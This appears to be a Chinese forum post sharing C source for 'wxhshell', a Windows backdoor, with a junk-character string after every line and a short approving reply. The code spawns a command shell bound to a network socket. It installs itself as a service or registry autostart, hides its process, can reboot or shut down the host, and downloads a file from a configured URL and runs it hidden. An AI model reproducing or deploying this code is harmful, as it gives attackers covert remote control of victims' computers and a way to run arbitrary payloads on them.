  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (pmo[2kg  
  if(DownloadFile(cmd,wsh)) q2Kn3{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jz)H?UuDY  
  else |h7v}Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H07j&  
  }  g{%';  
  else { $o/>wgQY-  
@2mP  
    switch(cmd[0]) { &0g,Xkr  
  g|P hNo  
  // 帮助 "jHN#}  
  case '?': { CytpL`&^]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pR"qPSv'  
    break; "|.(yN  
  } Bag#An1  
  // 安装 C gx?K]>y  
  case 'i': { -  -G1H  
    if(Install()) k mj m6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B /W$RcV  
    else E ( @;p%:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F MVmH!E  
    break; oo!g?X[[  
    } ~laZ(Bma);  
  // 卸载 asg>TO W  
  case 'r': { `9ox?|iJ  
    if(Uninstall()) z+*Z<c5d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |=LkV"_v  
    else >-P0wowL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GHy#D]Z  
    break; 'T[zh#v>S  
    } f[I c hCwX  
  // 显示 wxhshell 所在路径  sD8S2  
  case 'p': { ]lUu%<-;  
    char svExeFile[MAX_PATH]; o(P:f)B  
    strcpy(svExeFile,"\n\r"); RY{tX`  
      strcat(svExeFile,ExeFile); g1~I*!p  
        send(wsh,svExeFile,strlen(svExeFile),0); hptuTBD  
    break; j;)6uia*A  
    } /<0D E22  
  // 重启 H#inr^Xa  
  case 'b': { E: GJ$I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $J6.a!5IE  
    if(Boot(REBOOT)) LzRiiP^q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@iW?9C+  
    else { ?^~"x.<nr  
    closesocket(wsh); E0Q"qEvU  
    ExitThread(0); { ZX C%(u  
    } PoJ$%_a}  
    break; $hSZ@w|IF  
    } :,m)D775S  
  // 关机 j&A3s{S4A  
  case 'd': { opMUt,4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KIo}Gd&  
    if(Boot(SHUTDOWN)) >Mw &Tw}o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #ja`+w}  
    else { P0xLx  
    closesocket(wsh); m]\zt  
    ExitThread(0); SbZt\a 8  
    } u4@e=vW I  
    break; 6>:~?gs  
    } |L;psK  
  // 获取shell xV#a(>-4  
  case 's': { Hc]1mM  
    CmdShell(wsh); rf->mk{  
    closesocket(wsh); GYC&P]  
    ExitThread(0); #OWs3$9  
    break; A[kH_{to;  
  } 1>w^ q`P  
  // 退出 8%<`$`FyU  
  case 'x': { 8/"|VE DOr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V=&,^qZ  
    CloseIt(wsh); abeSkWUL(  
    break; DYlvxF`  
    } :(>9u.>l?5  
  // 离开 -l H>8+  
  case 'q': { | ",[C3Jg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OZD!#YI  
    closesocket(wsh); Rt^<xXX$  
    WSACleanup(); p{q!jm~Nq  
    exit(1); 4q13xX  
    break; c1kxKxE  
        } ]<gCq/V#  
  } KC:4  
  }  YX`=M  
9K':Fn2,  
  // 提示信息 RX5.bVp eE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =nx:GT3&[  
} -'[(Uzj  
  } `QdQ?9x{F  
drKjLo[y  
  return; M J,ZXJXs  
} UVc<C 1 q  
^}Qj}  
// shell模块句柄 4iNbK~5j  
int CmdShell(SOCKET sock) 99 "[b  
{ hNnX-^J<o  
STARTUPINFO si; M+;P?|a  
ZeroMemory(&si,sizeof(si)); +}QBzGW`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PCPf*G>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rLh9`0|D  
PROCESS_INFORMATION ProcessInfo; VS|( "**  
char cmdline[]="cmd"; X@qk>/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UIOEkQ\Wl  
  return 0; Z.':&7Y  
} ggI=I<7M  
s)YP%vn#  
// 自身启动模式 zLQ#GF  
int StartFromService(void) RO{@RhnV  
{ j- YJ."  
typedef struct a4( ?]ND~6  
{ rS )b1nPA  
  DWORD ExitStatus; F`0c?)  
  DWORD PebBaseAddress; Y/,$Y]%g  
  DWORD AffinityMask; b"M`@';+  
  DWORD BasePriority; eh:}X}c=J]  
  ULONG UniqueProcessId; 4r[pMJiq  
  ULONG InheritedFromUniqueProcessId; -, Q$  
}   PROCESS_BASIC_INFORMATION; w,Zx5bBg%  
0<@KDlF  
PROCNTQSIP NtQueryInformationProcess; dA1 C)gLi  
dHG  Io  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M6]0Y@@>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6 W;?8Z_1  
bugFl>  
  HANDLE             hProcess; ZSPgci  
  PROCESS_BASIC_INFORMATION pbi; r jL?eTU"s  
ZP6x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'Z.OF5|eGT  
  if(NULL == hInst ) return 0; v0`qMBr1y  
h zZ-$IX X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'sRg4?PT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3X$Q,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iog # ,  
8jggc#.  
  if (!NtQueryInformationProcess) return 0; 5, -pBep<  
wI! +L&Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t0e{| du  
  if(!hProcess) return 0; M_h8#7{G  
hB?,7-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VJN/#   
O:;OR'N9  
  CloseHandle(hProcess); -4e) N*VVu  
9K;k%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l*K I  
if(hProcess==NULL) return 0; ^E$(1><-a  
mN\%f J7  
HMODULE hMod; K lli$40  
char procName[255]; rToaGQh  
unsigned long cbNeeded; "[*S?QO(L  
4YDT%_h0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jj!N39f   
}UKgF.  
  CloseHandle(hProcess); WVS$O99Y  
LBmM{Gu  
if(strstr(procName,"services")) return 1; // 以服务启动 9DOkQnnc  
UU iNR  
  return 0; // 注册表启动 %1\v7Xw{9  
} D[89*@v  
ZT) !8  
// 主模块 e^k!vk-SLF  
int StartWxhshell(LPSTR lpCmdLine) ;Y'8:ncDn  
{ 6| *(dE2x(  
  SOCKET wsl; 7q%|4Z-~  
BOOL val=TRUE; ^^7L"je]g  
  int port=0; s~=KhP~  
  struct sockaddr_in door; qr)v'aC3  
<.,RBo  
  if(wscfg.ws_autoins) Install(); L#`2.nU  
EI1W .V>@  
port=atoi(lpCmdLine); [)#u<lZ<~  
/Jxq 3D)v  
if(port<=0) port=wscfg.ws_port; m$fQ`XzU  
9ZDVy7m\i-  
  WSADATA data; FZe:co8Mu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UrO=!Gk  
[D3+cDph  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oL<BLr9>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3ty4D2y  
  door.sin_family = AF_INET; k"">2#V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I&L.;~  
  door.sin_port = htons(port); U^%9 )4bj  
MV:W@)rg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w4\BD&7V  
closesocket(wsl); P<%v +O  
return 1; -xJX_6}A  
} iv:,fkwG  
tm(v~L%$>]  
  if(listen(wsl,2) == INVALID_SOCKET) { JY{X,?s  
closesocket(wsl); tg~A}1o`0  
return 1; 7\IL  
} j~Q}F|i8  
  Wxhshell(wsl); VmN}FMGN  
  WSACleanup(); DH5bpg&T  
b,#`n  
return 0; 8y$5oD6g9  
gU l1CH&  
} f:]u`ziM  
WgE@89  
// 以NT服务方式启动 NW z9C=y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N 0+hejz  
{ Da-u-_~  
DWORD   status = 0; B@ -|b  
  DWORD   specificError = 0xfffffff; hZcmP"wgC1  
\B_i$<Sz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zhNQuK,L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?-e7e %  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WtIMvk  
  serviceStatus.dwWin32ExitCode     = 0; }N?g|  
  serviceStatus.dwServiceSpecificExitCode = 0; wHx}U M"  
  serviceStatus.dwCheckPoint       = 0; 'X9AG6K1  
  serviceStatus.dwWaitHint       = 0; lM>.@:  
:-z&Y492  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F8;mYuA  
  if (hServiceStatusHandle==0) return; jz*0`9&_  
C 8N%X2R  
status = GetLastError(); C1b*v&1{  
  if (status!=NO_ERROR) z. 'Fv7  
{ $; ?c?n+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C>^,*7dS  
    serviceStatus.dwCheckPoint       = 0; wb b*nL|P  
    serviceStatus.dwWaitHint       = 0; kP@H G<~  
    serviceStatus.dwWin32ExitCode     = status; IXnb]q.  
    serviceStatus.dwServiceSpecificExitCode = specificError; TN5>"? ?"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oz LH]*  
    return; +jUgx;u,  
  } ]DO&x+Rb  
e,(a6X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t<Ot|Ex  
  serviceStatus.dwCheckPoint       = 0; xk& NAB  
  serviceStatus.dwWaitHint       = 0; <Z},A-\S*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J,??x0GDx,  
} +p9- .YM  
I_ONbJ9]  
// 处理NT服务事件,比如:启动、停止 d PsLZ"I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x>v-m*4Z4@  
{ S_6g~PHsr  
switch(fdwControl) oB p3JX9_f  
{ Nb0Ik/:<  
case SERVICE_CONTROL_STOP: O$^xkv5.  
  serviceStatus.dwWin32ExitCode = 0; OZf6/10O/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Zae.MO^C!  
  serviceStatus.dwCheckPoint   = 0; uQnT[\k?  
  serviceStatus.dwWaitHint     = 0; S<"oUdkz  
  { %)?`{O~ h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Or7 mD  
  } &=X.*H%  
  return; |jsb@  
case SERVICE_CONTROL_PAUSE: uAUp5XP|Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S`0NPGn;@[  
  break; 28a$NP\KW  
case SERVICE_CONTROL_CONTINUE: eeM?]J-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8] `Ru5nd  
  break; /2xSNalC  
case SERVICE_CONTROL_INTERROGATE: :|rPT)yT]  
  break; )n>+m|IqY(  
}; YlTaN,?j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c;9.KCpwx  
} 4ZwKpQ6  
sef]>q  
// 标准应用程序主函数 /N6}*0Ru  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xd3}Vn=  
{ $#e1SS32  
0]B(a  
// 获取操作系统版本 ?^}_j vT  
OsIsNt=GetOsVer(); iPvuz7j=h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i)M EK#{  
{]^O:i"  
  // 从命令行安装 /,2rjJ#b  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;'0=T0\  
s9@Sd  
  // 下载执行文件 .fp&MgiQ  
if(wscfg.ws_downexe) { 5pfYEofK[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H>XFz(LWh  
  WinExec(wscfg.ws_filenam,SW_HIDE); y!~qbh[  
} `:p1&OS  
KnGTcoXg_  
if(!OsIsNt) { tlQC6Fb#  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?2 f_aY ;  
HideProc(); '1Y\[T*  
StartWxhshell(lpCmdLine); ^AL2H'  
} X:|8vS+0gU  
else bWmw3w  
  if(StartFromService()) j/KO|iNL2  
  // 以服务方式启动 po7>IQS]  
  StartServiceCtrlDispatcher(DispatchTable); B $XwTJ>  
else Ji?#.r`"n  
  // 普通方式启动 wMWW=$h#\  
  StartWxhshell(lpCmdLine); UG](go't  
u-3:k  
return 0; 5Sva}9H  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八